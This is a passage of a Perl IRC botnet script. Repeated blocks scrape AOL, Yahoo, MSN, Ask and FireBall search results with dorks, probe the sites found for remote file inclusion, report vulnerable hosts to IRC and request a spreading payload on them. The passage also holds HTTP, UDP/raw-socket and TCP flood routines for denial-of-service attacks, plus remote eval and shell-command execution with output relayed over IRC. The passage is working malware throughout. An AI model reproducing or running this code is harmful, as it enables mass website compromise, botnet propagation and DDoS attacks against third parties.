  668. {
  669. $contatore++;
  670. if ($contatore %100==0){
  671. }
  672. if ($contatore==$uni-1){
  673. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Scan12] 7All7The7Web12 finished for2 $dork");
  674. }
  675. ### Print CMD and TEST CMD###
  676. my $test="http://".$sito.$bug.$id."?";
  677. my $print="http://".$sito.$bug.$cmd."?";
  678. ### End of Print CMD and TEST CMD###
  679. my $req=HTTP::Request->new(GET=>$test);
  680. my $ua=LWP::UserAgent->new();
  681. $ua->timeout(5);
  682. my $response=$ua->request($req);
  683. if ($response->is_success) {
  684. my $re=$response->content;
  685. if($re =~ /kangkung/ && $re =~ /uid=/){
  686. my $hs=geths($print); $hosts{$hs}++;
  687. if($hosts{$hs}=="1"){
  688. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Vuln12] 2(12SafeMode:4OFF2) 2(12Site:4 $print 2) ");
  689. sendraw($IRC_cur_socket, "PRIVMSG kangkung :12[4@Vuln12] 2(12SafeMode:4OFF2) 2(12Site:4 $print 2) ");
  690. my $test2="http://".$sito.$bug.$spread."?";
  691. my $reqz=HTTP::Request->new(GET=>$test2);
  692. my $ua=LWP::UserAgent->new();
  693. my $response=$ua->request($reqz);
  694. }}
  695. elsif($re =~ /kangkung/)
  696. {
  697. my $hs=geths($print); $hosts{$hs}++;
  698. if($hosts{$hs}=="1"){
  699. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Vuln12] 2(12SafeMode:3ON2) 2(12Site:4 $print 2) ");
  700. my $test2="http://".$sito.$bug.$spread."?";
  701. my $reqz=HTTP::Request->new(GET=>$test2);
  702. my $ua=LWP::UserAgent->new();
  703. my $response=$ua->request($reqz);
  704. }}
  705. }}}
  706. exit;
  707. }}
  708.  
  709. ######################################################################
  710. #################### AOL
  711. ######################################################################
  712. if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
  713. if (my $pid = fork) {
  714. waitpid($pid, 0);
  715. } else {
  716. if (fork) {
  717. exit;
  718. } else {
  719. my $bug=$1;
  720. my $dork=$2;
  721. my $contatore=0;
  722. my %hosts;
  723. # Starting The Search Engine
  724. my @aollist=&aol($dork);
  725. my @aollista=&aola($dork);
  726. my @aollistb=&aolb($dork);
  727. my @aollistc=&aolc($dork);
  728. push(my @aolbyp,@aollist, @aollista, @aollistb, @aollistc );
  729. #
  730. push(my @tot, @aolbyp);
  731. my @puliti=&unici(@tot);
  732. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Scan12] 7AOL12 Total:4 ".scalar(@tot)." 12Cleaned:4 ".scalar(@puliti)." 12for 2 $dork ");
  733. my $uni=scalar(@puliti);
  734. foreach my $sito (@puliti)
  735. {
  736. $contatore++;
  737. if ($contatore %100==0){
  738. }
  739. if ($contatore==$uni-1){
  740. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Scan12] 7AOL12 finished for2 $dork");
  741. }
  742. ### Print CMD and TEST CMD###
  743. my $test="http://".$sito.$bug.$id."?";
  744. my $print="http://".$sito.$bug.$cmd."?";
  745. ### End of Print CMD and TEST CMD###
  746. my $req=HTTP::Request->new(GET=>$test);
  747. my $ua=LWP::UserAgent->new();
  748. $ua->timeout(5);
  749. my $response=$ua->request($req);
  750. if ($response->is_success) {
  751. my $re=$response->content;
  752. if($re =~ /kangkung/ && $re =~ /uid=/){
  753. my $hs=geths($print); $hosts{$hs}++;
  754. if($hosts{$hs}=="1"){
  755. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Vuln12] 2(12SafeMode:4OFF2) 2(12Site:4 $print 2) ");
  756. sendraw($IRC_cur_socket, "PRIVMSG kangkung :12[4@Vuln12] 2(12SafeMode:4OFF2) 2(12Site:4 $print 2) ");
  757. my $test2="http://".$sito.$bug.$spread."?";
  758. my $reqz=HTTP::Request->new(GET=>$test2);
  759. my $ua=LWP::UserAgent->new();
  760. my $response=$ua->request($reqz);
  761. }}
  762. elsif($re =~ /kangkung/)
  763. {
  764. my $hs=geths($print); $hosts{$hs}++;
  765. if($hosts{$hs}=="1"){
  766. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Vuln12] 2(12SafeMode:3ON2) 2(12Site:4 $print 2) ");
  767. my $test2="http://".$sito.$bug.$spread."?";
  768. my $reqz=HTTP::Request->new(GET=>$test2);
  769. my $ua=LWP::UserAgent->new();
  770. my $response=$ua->request($reqz);
  771. }}
  772. }}}
  773. exit;
  774. }}
  775.  
  776. ######################################################################
  777. #################### Yahoo
  778. ######################################################################
  779. if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
  780. if (my $pid = fork) {
  781. waitpid($pid, 0);
  782. } else {
  783. if (fork) {
  784. exit;
  785. } else {
  786. my $bug=$1;
  787. my $dork=$2;
  788. my $contatore=0;
  789. my %hosts;
  790. # Starting The Search Engine
  791. my @ylist=&yahoo($dork);
  792. my @yalist=&yahooa($dork);
  793. my @yblist=&yahoob($dork);
  794. my @yclist=&yahooc($dork);
  795. my @ydlist=&yahood($dork);
  796. push(my @yahoobypass, @ylist, @yalist, @yblist, @yclist, @ydlist );
  797. #
  798. push(my @tot, @yahoobypass);
  799. my @puliti=&unici(@tot);
  800. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Scan12] 13Y6ahoo4!12 Total:4 ".scalar(@tot)." 12Cleaned:4 ".scalar(@puliti)." 12for 2 $dork ");
  801. my $uni=scalar(@puliti);
  802. foreach my $sito (@puliti)
  803. {
  804. $contatore++;
  805. if ($contatore %100==0){
  806. }
  807. if ($contatore==$uni-1){
  808. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Scan12] 13Y6ahoo4!12 finished for2 $dork");
  809. }
  810. ### Print CMD and TEST CMD###
  811. my $test="http://".$sito.$bug.$id."?";
  812. my $print="http://".$sito.$bug.$cmd."?";
  813. ### End of Print CMD and TEST CMD###
  814. my $req=HTTP::Request->new(GET=>$test);
  815. my $ua=LWP::UserAgent->new();
  816. $ua->timeout(5);
  817. my $response=$ua->request($req);
  818. if ($response->is_success) {
  819. my $re=$response->content;
  820. if($re =~ /kangkung/ && $re =~ /uid=/){
  821. my $hs=geths($print); $hosts{$hs}++;
  822. if($hosts{$hs}=="1"){
  823. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Vuln12] 2(12SafeMode:4OFF2) 2(12Site:4 $print 2) ");
  824. sendraw($IRC_cur_socket, "PRIVMSG kangkung :12[4@Vuln12] 2(12SafeMode:4OFF2) 2(12Site:4 $print 2) ");
  825. my $test2="http://".$sito.$bug.$spread."?";
  826. my $reqz=HTTP::Request->new(GET=>$test2);
  827. my $ua=LWP::UserAgent->new();
  828. my $response=$ua->request($reqz);
  829. }}
  830. elsif($re =~ /kangkung/)
  831. {
  832. my $hs=geths($print); $hosts{$hs}++;
  833. if($hosts{$hs}=="1"){
  834. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Vuln12] 2(12SafeMode:3ON2) 2(12Site:4 $print 2) ");
  835. my $test2="http://".$sito.$bug.$spread."?";
  836. my $reqz=HTTP::Request->new(GET=>$test2);
  837. my $ua=LWP::UserAgent->new();
  838. my $response=$ua->request($reqz);
  839. }}
  840. }}}
  841. exit;
  842. }}
  843.  
  844. ######################################################################
  845. #################### MSN
  846. ######################################################################
  847. if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
  848. if (my $pid = fork) {
  849. waitpid($pid, 0);
  850. } else {
  851. if (fork) {
  852. exit;
  853. } else {
  854. my $bug=$1;
  855. my $dork=$2;
  856. my $contatore=0;
  857. my %hosts;
  858. # Starting The Search Engine
  859. my @mlist=&msn($dork);
  860. push(my @tot, @mlist);
  861. my @puliti=&unici(@tot);
  862. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Scan12] 7M4S7N12 Total:4 ".scalar(@tot)." 12Cleaned:4 ".scalar(@puliti)." 12for 2 $dork ");
  863. my $uni=scalar(@puliti);
  864. foreach my $sito (@puliti)
  865. {
  866. $contatore++;
  867. if ($contatore %100==0){
  868. }
  869. if ($contatore==$uni-1){
  870. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Scan12] 7M4S7N12 finished for2 $dork");
  871. }
  872. ### Print CMD and TEST CMD###
  873. my $test="http://".$sito.$bug.$id."?";
  874. my $print="http://".$sito.$bug.$cmd."?";
  875. ### End of Print CMD and TEST CMD###
  876. my $req=HTTP::Request->new(GET=>$test);
  877. my $ua=LWP::UserAgent->new();
  878. $ua->timeout(5);
  879. my $response=$ua->request($req);
  880. if ($response->is_success) {
  881. my $re=$response->content;
  882. if($re =~ /kangkung/ && $re =~ /uid=/){
  883. my $hs=geths($print); $hosts{$hs}++;
  884. if($hosts{$hs}=="1"){
  885. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Vuln12] 2(12SafeMode:4OFF2) 2(12Site:4 $print 2) ");
  886. sendraw($IRC_cur_socket, "PRIVMSG kangkung :12[4@Vuln12] 2(12SafeMode:4OFF2) 2(12Site:4 $print 2) ");
  887. my $test2="http://".$sito.$bug.$spread."?";
  888. my $reqz=HTTP::Request->new(GET=>$test2);
  889. my $ua=LWP::UserAgent->new();
  890. my $response=$ua->request($reqz);
  891. }}
  892. elsif($re =~ /kangkung/)
  893. {
  894. my $hs=geths($print); $hosts{$hs}++;
  895. if($hosts{$hs}=="1"){
  896. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Vuln12] 2(12SafeMode:3ON2) 2(12Site:4 $print 2) ");
  897. my $test2="http://".$sito.$bug.$spread."?";
  898. my $reqz=HTTP::Request->new(GET=>$test2);
  899. my $ua=LWP::UserAgent->new();
  900. my $response=$ua->request($reqz);
  901. }}
  902. }}}
  903. exit;
  904. }}
  905.  
  906. ######################################################################
  907. #################### ASK
  908. ######################################################################
  909. if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
  910. if (my $pid = fork) {
  911. waitpid($pid, 0);
  912. } else {
  913. if (fork) {
  914. exit;
  915. } else {
  916. my $bug=$1;
  917. my $dork=$2;
  918. my $contatore=0;
  919. my %hosts;
  920. # Starting The Search Engine
  921. my @asklist=&ask($dork);
  922. push(my @tot, @asklist);
  923. my @puliti=&unici(@tot);
  924. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Scan12] 14A4S14K12 Total:4 ".scalar(@tot)." 12Cleaned:4 ".scalar(@puliti)." 12for 2 $dork ");
  925. my $uni=scalar(@puliti);
  926. foreach my $sito (@puliti)
  927. {
  928. $contatore++;
  929. if ($contatore %100==0){
  930. }
  931. if ($contatore==$uni-1){
  932. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Scan12] 14A4S14K12 finished for2 $dork");
  933. }
  934. ### Print CMD and TEST CMD###
  935. my $test="http://".$sito.$bug.$id."?";
  936. my $print="http://".$sito.$bug.$cmd."?";
  937. ### End of Print CMD and TEST CMD###
  938. my $req=HTTP::Request->new(GET=>$test);
  939. my $ua=LWP::UserAgent->new();
  940. $ua->timeout(5);
  941. my $response=$ua->request($req);
  942. if ($response->is_success) {
  943. my $re=$response->content;
  944. if($re =~ /kangkung/ && $re =~ /uid=/){
  945. my $hs=geths($print); $hosts{$hs}++;
  946. if($hosts{$hs}=="1"){
  947. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Vuln12] 2(12SafeMode:4OFF2) 2(12Site:4 $print 2) ");
  948. sendraw($IRC_cur_socket, "PRIVMSG kangkung :12[4@Vuln12] 2(12SafeMode:4OFF2) 2(12Site:4 $print 2) ");
  949. my $test2="http://".$sito.$bug.$spread."?";
  950. my $reqz=HTTP::Request->new(GET=>$test2);
  951. my $ua=LWP::UserAgent->new();
  952. my $response=$ua->request($reqz);
  953. }}
  954. elsif($re =~ /kangkung/)
  955. {
  956. my $hs=geths($print); $hosts{$hs}++;
  957. if($hosts{$hs}=="1"){
  958. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Vuln12] 2(12SafeMode:3ON2) 2(12Site:4 $print 2) ");
  959. my $test2="http://".$sito.$bug.$spread."?";
  960. my $reqz=HTTP::Request->new(GET=>$test2);
  961. my $ua=LWP::UserAgent->new();
  962. my $response=$ua->request($reqz);
  963. }}
  964. }}}
  965. exit;
  966. }}
  967.  
  968. ######################################################################
  969. #################### FireBall
  970. ######################################################################
  971. if ($funcarg =~ /^rfi\s+(.*?)\s+(.*)/){
  972. if (my $pid = fork) {
  973. waitpid($pid, 0);
  974. } else {
  975. if (fork) {
  976. exit;
  977. } else {
  978. my $bug=$1;
  979. my $dork=$2;
  980. my $contatore=0;
  981. my %hosts;
  982. # Starting The Search Engine
  983. my @fireball=fireball($dork);
  984. push(my @tot, @fireball);
  985. my @puliti=&unici(@tot);
  986. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Scan12] 4F1ire4B1all12 Total:4 ".scalar(@tot)." 12Cleaned:4 ".scalar(@puliti)." 12for 2 $dork ");
  987. my $uni=scalar(@puliti);
  988. foreach my $sito (@puliti)
  989. {
  990. $contatore++;
  991. if ($contatore %100==0){
  992. }
  993. if ($contatore==$uni-1){
  994. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Scan12] 4F1ire4B1all12 finished for2 $dork");
  995. }
  996. ### Print CMD and TEST CMD###
  997. my $test="http://".$sito.$bug.$id."?";
  998. my $print="http://".$sito.$bug.$cmd."?";
  999. ### End of Print CMD and TEST CMD###
  1000. my $req=HTTP::Request->new(GET=>$test);
  1001. my $ua=LWP::UserAgent->new();
  1002. $ua->timeout(5);
  1003. my $response=$ua->request($req);
  1004. if ($response->is_success) {
  1005. my $re=$response->content;
  1006. if($re =~ /kangkung/ && $re =~ /uid=/){
  1007. my $hs=geths($print); $hosts{$hs}++;
  1008. if($hosts{$hs}=="1"){
  1009. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Vuln12] 2(12SafeMode:4OFF2) 2(12Site:4 $print 2) ");
  1010. sendraw($IRC_cur_socket, "PRIVMSG kangkung :12[4@Vuln12] 2(12SafeMode:4OFF2) 2(12Site:4 $print 2) ");
  1011. my $test2="http://".$sito.$bug.$spread."?";
  1012. my $reqz=HTTP::Request->new(GET=>$test2);
  1013. my $ua=LWP::UserAgent->new();
  1014. my $response=$ua->request($reqz);
  1015. }}
  1016. elsif($re =~ /kangkung/)
  1017. {
  1018. my $hs=geths($print); $hosts{$hs}++;
  1019. if($hosts{$hs}=="1"){
  1020. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@Vuln12] 2(12SafeMode:3ON2) 2(12Site:4 $print 2) ");
  1021. my $test2="http://".$sito.$bug.$spread."?";
  1022. my $reqz=HTTP::Request->new(GET=>$test2);
  1023. my $ua=LWP::UserAgent->new();
  1024. my $response=$ua->request($reqz);
  1025. }}
  1026. }}}
  1027. exit;
  1028. }}
  1029. ######################
  1030. #End of EXTREMESCANNER#
  1031. # #
  1032. ######################
  1033. # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
  1034. # % stereal@DALnet Pwned your BoX %
  1035. # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
  1036. ######################
  1037. # HTTPFlood #
  1038. # #
  1039. ######################
  1040. if ($funcarg =~ /^httpflood\s+(.*)\s+(\d+)/) {
  1041. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@HTTP-DDOS12] Attacking 4 ".$1." 12 on port 80 for 4 ".$2." 12 seconds .");
  1042. my $itime = time;
  1043. my ($cur_time);
  1044. $cur_time = time - $itime;
  1045. while ($2>$cur_time){
  1046. $cur_time = time - $itime;
  1047. my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80);
  1048. print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
  1049. close($socket);
  1050. }
  1051. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@HTTP-DDOS12] Attacking done 4 ".$1.".");
  1052. }
  1053. ######################
  1054. # End of HTTPFlood #
  1055. # #
  1056. ######################
  1057. # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
  1058. # % stereal@DALnet Pwned your BoX %
  1059. # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
  1060. ######################
  1061. # UDPFlood #
  1062. # #
  1063. ######################
  1064. if ($funcarg =~ /^udpflood\s+(.*)\s+(\d+)\s+(\d+)/) {
  1065. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@UDP-DDOS12] Attacking 4 ".$1." 12 with 4 ".$2." 12 Kb Packets for 4 ".$3." 12 seconds.");
  1066. my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
  1067. $dtime = 1 if $dtime == 0;
  1068. my %bytes;
  1069. $bytes{igmp} = $2 * $pacotes{igmp};
  1070. $bytes{icmp} = $2 * $pacotes{icmp};
  1071. $bytes{o} = $2 * $pacotes{o};
  1072. $bytes{udp} = $2 * $pacotes{udp};
  1073. $bytes{tcp} = $2 * $pacotes{tcp};
  1074. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@UDP-DDOS12] 12Results4 ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 12Kb in4 ".$dtime." 12seconds to4 ".$1.".");
  1075. }
  1076. exit;
  1077. }
  1078. }
  1079. ######################
  1080. # End of Udpflood #
  1081. # #
  1082. ######################
  1083.  
  1084.  
  1085. sub ircase {
  1086. my ($kem, $printl, $case) = @_;
  1087. if ($case =~ /^join (.*)/) {
  1088. j("$1");
  1089. }
  1090. if ($case =~ /^part (.*)/) {
  1091. p("$1");
  1092. }
  1093. if ($case =~ /^rejoin\s+(.*)/) {
  1094. my $chan = $1;
  1095. if ($chan =~ /^(\d+) (.*)/) {
  1096. for (my $ca = 1; $ca <= $1; $ca++ ) {
  1097. p("$2");
  1098. j("$2");
  1099. }
  1100. }
  1101. else {
  1102. p("$chan");
  1103. j("$chan");
  1104. }
  1105. }
  1106.  
  1107. if ($case =~ /^op/) {
  1108. op("$printl", "$kem") if $case eq "op";
  1109. my $oarg = substr($case, 3);
  1110. op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1111. }
  1112.  
  1113. if ($case =~ /^deop/) {
  1114. deop("$printl", "$kem") if $case eq "deop";
  1115. my $oarg = substr($case, 5);
  1116. deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  1117. }
  1118.  
  1119. if ($case =~ /^msg\s+(\S+) (.*)/) {
  1120. msg("$1", "$2");
  1121. }
  1122.  
  1123. if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  1124. for (my $cf = 1; $cf <= $1; $cf++) {
  1125. msg("$2", "$3");
  1126. }
  1127. }
  1128.  
  1129. if ($case =~ /^ctcp\s+(\S+) (.*)/) {
  1130. ctcp("$1", "$2");
  1131. }
  1132.  
  1133. if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  1134. for (my $cf = 1; $cf <= $1; $cf++) {
  1135. ctcp("$2", "$3");
  1136. }
  1137. }
  1138.  
  1139. if ($case =~ /^nick (.*)/) {
  1140. nick("$1");
  1141. }
  1142.  
  1143. if ($case =~ /^connect\s+(\S+)\s+(\S+)/) {
  1144. conectar("$2", "$1", 6667);
  1145. }
  1146.  
  1147. if ($case =~ /^raw (.*)/) {
  1148. sendraw("$1");
  1149. }
  1150.  
  1151. if ($case =~ /^eval (.*)/) {
  1152. eval "$1";
  1153. }
  1154. }
  1155.  
  1156.  
  1157. sub shell {
  1158. my $printl=$_[0];
  1159. my $comando=$_[1];
  1160. if ($comando =~ /cd (.*)/) {
  1161. chdir("$1") || msg("$printl", "No such file or directory");
  1162. return;
  1163. }
  1164.  
  1165. elsif ($pid = fork) {
  1166. waitpid($pid, 0);
  1167. }
  1168. else {
  1169. if (fork) {
  1170. exit;
  1171.  
  1172. } else {
  1173. my @resp=`$comando 2>&1 3>&1`;
  1174. my $c=0;
  1175. foreach my $linha (@resp) {
  1176. $c++;
  1177. chop $linha;
  1178. sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  1179. if ($c == "$linas_max") {
  1180. $c=0;
  1181. sleep $sleep;
  1182. }
  1183. }
  1184. exit;
  1185. }
  1186. }
  1187. }
  1188.  
  1189. sub tcpflooder {
  1190. my $itime = time;
  1191. my ($cur_time);
  1192. my ($ia,$pa,$proto,$j,$l,$t);
  1193. $ia=inet_aton($_[0]);
  1194. $pa=sockaddr_in($_[1],$ia);
  1195. $ftime=$_[2];
  1196. $proto=getprotobyname('tcp');
  1197. $j=0;$l=0;
  1198. $cur_time = time - $itime;
  1199. while ($l<1000){
  1200. $cur_time = time - $itime;
  1201. last if $cur_time >= $ftime;
  1202. $t="SOCK$l";
  1203. socket($t,PF_INET,SOCK_STREAM,$proto);
  1204. connect($t,$pa)||$j--;
  1205. $j++;$l++;
  1206. }
  1207. $l=0;
  1208. while ($l<1000){
  1209. $cur_time = time - $itime;
  1210. last if $cur_time >= $ftime;
  1211. $t="SOCK$l";
  1212. shutdown($t,2);
  1213. $l++;
  1214. }
  1215. }
  1216.  
  1217. # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
  1218. # % stereal@DALnet Pwned your BoX %
  1219. # %.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%.%
  1220.  
  1221. sub udpflooder {
  1222. my $iaddr = inet_aton($_[0]);
  1223. my $msg = 'A' x $_[1];
  1224. my $ftime = $_[2];
  1225. my $cp = 0;
  1226. my (%pacotes);
  1227. $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  1228. socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  1229. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  1230. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  1231. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  1232. return(undef) if $cp == 4;
  1233. my $itime = time;
  1234. my ($cur_time);
  1235. while ( 1 ) {
  1236. for (my $porta = 1;
  1237. $porta <= 65000; $porta++) {
  1238. $cur_time = time - $itime;
  1239. last if $cur_time >= $ftime;
  1240. send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
  1241. send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
  1242. send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
  1243. send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
  1244.  
  1245.  
  1246. for (my $pc = 3;
  1247. $pc <= 255;$pc++) {
  1248. next if $pc == 6;
  1249. $cur_time = time - $itime;
  1250. last if $cur_time >= $ftime;
  1251. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  1252. send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
  1253. }
  1254. }
  1255. last if $cur_time >= $ftime;
  1256. }
  1257. return($cur_time, %pacotes);
  1258. }
  1259.  
  1260. sub ctcp {
  1261. return unless $#_ == 1;
  1262. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  1263. }
  1264.  
  1265. sub msg {
  1266. return unless $#_ == 1;
  1267. sendraw("PRIVMSG $_[0] :$_[1]");
  1268. }
  1269.  
  1270. sub notice {
  1271. return unless $#_ == 1;
  1272. sendraw("NOTICE $_[0] :$_[1]");
  1273. }
  1274.  
  1275. sub op {
  1276. return unless $#_ == 1;
  1277. sendraw("MODE $_[0] +o $_[1]");
  1278. }
  1279.  
  1280. sub deop {
  1281. return unless $#_ == 1;
  1282. sendraw("MODE $_[0] -o $_[1]");
  1283. }
  1284.  
  1285. sub j {
  1286. &join(@_);
  1287. }
  1288.  
  1289. sub join {
  1290. return unless $#_ == 0;
  1291. sendraw("JOIN $_[0]");
  1292.  
  1293. }
  1294. sub p { part(@_);
  1295. }
  1296.  
  1297. sub part {
  1298. sendraw("PART $_[0]");
  1299. }
  1300.  
  1301. sub nick {
  1302. return unless $#_ == 0;
  1303. sendraw("NICK $_[0]");
  1304. }
  1305.  
  1306. sub quit {
  1307. sendraw("QUIT :$_[0]");
  1308. }
  1309.  
  1310. #####
  1311. # SUBS GOOGLE
  1312. #####
  1313. sub googlet {
  1314. my @dominios = ("ae","com.ar","at","com.au","be","com.br","ca","ch","cl","de","dk");
  1315. my @country = ("AE","AR","AT","AU","BE","BR","CA","CH","CL","DE","DK");
  1316. my @lang = ("en","es","de","nl","pt-BR","it","de","fo","sv","fr","el");
  1317. my @lst;
  1318. my $key=key($_[0]);
  1319. my $c=0;
  1320. foreach my $i (@dominios){
  1321. my @lista = google($i,$key,$lang[$c],$country[$c]);
  1322. push(@lst,@lista);
  1323. $c++;
  1324. }
  1325. return @lst;
  1326. }
  1327.  
  1328. sub google(){
  1329. my @lst;
  1330. my $i=$_[0];
  1331. my $key=$_[1];
  1332. my $lang= $_[2];
  1333. my $country =$_[3];
  1334. for($b=0;$b<=5000;$b+=100){
  1335. my $Go=("www.google.".$i."/search?hl=".$lang."&q=".key($key)."&num=100&start=".$b."&meta=cr%3Dcountry".$country);
  1336. my $Res=query($Go);
  1337. while($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1338. if ($1 !~ /google/){
  1339. my $k=$1;
  1340. my @grep=links($k);
  1341. push(@lst,@grep);
  1342. }}}
  1343. return @lst;
  1344. }
  1345.  
  1346. #####
  1347. # SUBS AllTheWeb
  1348. #####
  1349.  
  1350. sub allthewebt {
  1351. my @lang = ("en","es","de","nl","pt-BR","it","de","fo");
  1352. my @lst;
  1353. my $key=key($_[0]);
  1354. my $c=0;
  1355. foreach my $lang (@lang){
  1356. my @lista = alltheweb($key,$lang[$c]);
  1357. push(@lst,@lista);
  1358. $c++;
  1359. }
  1360. return @lst;
  1361. }
  1362.  
  1363.  
  1364. sub alltheweb(){
  1365. my @lista;
  1366. my $key = $_[0];
  1367. my $lang= $_[1];
  1368. for($b=0;$b<=500;$b+=100){
  1369. my $alltheweb=("http://www.alltheweb.com/search?cat=web&_sb_lang=".$lang."&hits=100&q=".key($key)."&o=".$b);
  1370. my $Res=query($alltheweb);
  1371. while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
  1372. my $k=$1;
  1373. $k=~s/ //g;
  1374. my @grep=links($k);
  1375. push(@lst,@grep);
  1376. }}
  1377. return @lst;
  1378. }
  1379.  
  1380. sub standard()
  1381. {
  1382. my @lst;
  1383. my $key=$_[0];
  1384. my $i=0;
  1385. my $pg=0;
  1386. for($i=0; $i<=1000; $i+=100)
  1387. {
  1388. my $all=("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
  1389. my $Res=query($all);
  1390. while($Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g){
  1391. my $k=$1;
  1392. $k=~s/ //g;
  1393. my @grep=links($k);
  1394. push(@lst,@grep);
  1395. }}
  1396. return @lst;
  1397. }
  1398.  
  1399. #####
  1400. # SUBS AOL
  1401. #####
  1402. sub aol(){
  1403. my @lst;
  1404. my $key = $_[0];
  1405. for($b=1;$b<=100;$b++){
  1406. my $AoL=("http://search.aol.com/aol/search?query=".key($key)."&page=".$b."&nt=null&ie=UTF-8");
  1407. my $Res=query($AoL);
  1408. while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
  1409. my $k=$1;
  1410. my @grep=links($k);
  1411. push(@lst,@grep);
  1412. }}
  1413. return @lst;
  1414. }
  1415.  
  1416. sub aola(){
  1417. my @lst;
  1418. my $key = $_[0];
  1419. for($b=1;$b<=59;$b+=1){
  1420. my $AoL=("http://64.12.129.44/aol/search?query=".key($key)."&page=".$b."&count_override=20&lr=lang_en");
  1421. my $Res=query($AoL);
  1422. while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
  1423. my $k=$1;
  1424. my @grep=links($k);
  1425. push(@lst,@grep);
  1426. }}
  1427. return @lst;
  1428. }
  1429.  
  1430. sub aolb(){
  1431. my @lst;
  1432. my $key = $_[0];
  1433. for($b=1;$b<=59;$b+=1){
  1434. my $AoL=("http://64.12.129.44/aol/search?query=".key($key)."&page=".$b."&count_override=20&lr=lang_de");
  1435. my $Res=query($AoL);
  1436. while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
  1437. my $k=$1;
  1438. my @grep=links($k);
  1439. push(@lst,@grep);
  1440. }}
  1441. return @lst;
  1442. }
  1443.  
  1444. sub aolc(){
  1445. my @lst;
  1446. my $key = $_[0];
  1447. for($b=1;$b<=59;$b+=1){
  1448. my $AoL=("http://64.12.129.44/aol/search?query=".key($key)."&page=".$b."&count_override=20&lr=lang_fr");
  1449. my $Res=query($AoL);
  1450. while($Res =~ m/<p class=\"deleted\" property=\"f:url\">http:\/\/(.+?)\<\/p>/g){
  1451. my $k=$1;
  1452. my @grep=links($k);
  1453. push(@lst,@grep);
  1454. }}
  1455. return @lst;
  1456. }
  1457.  
  1458. #####
  1459. # SUBS Yahoo
  1460. #####
  1461. sub yahoo(){
  1462. my @lst;
  1463. my $key = $_[0];
  1464. for($b=1;$b<=1000;$b+=100){
  1465. my $Ya=("http://search.yahoo.com/search?ei=UTF-8&p=".key($key)."&n=100&fr=sfp&b=".$b);
  1466. my $Res=query($Ya);
  1467. while($Res =~ m/\<span class=yschurl>(.+?)\<\/span>/g){
  1468. my $k=$1;
  1469. $k=~s/<b>//g;
  1470. $k=~s/<\/b>//g;
  1471. $k=~s/<wbr>//g;
  1472. my @grep=links($k);
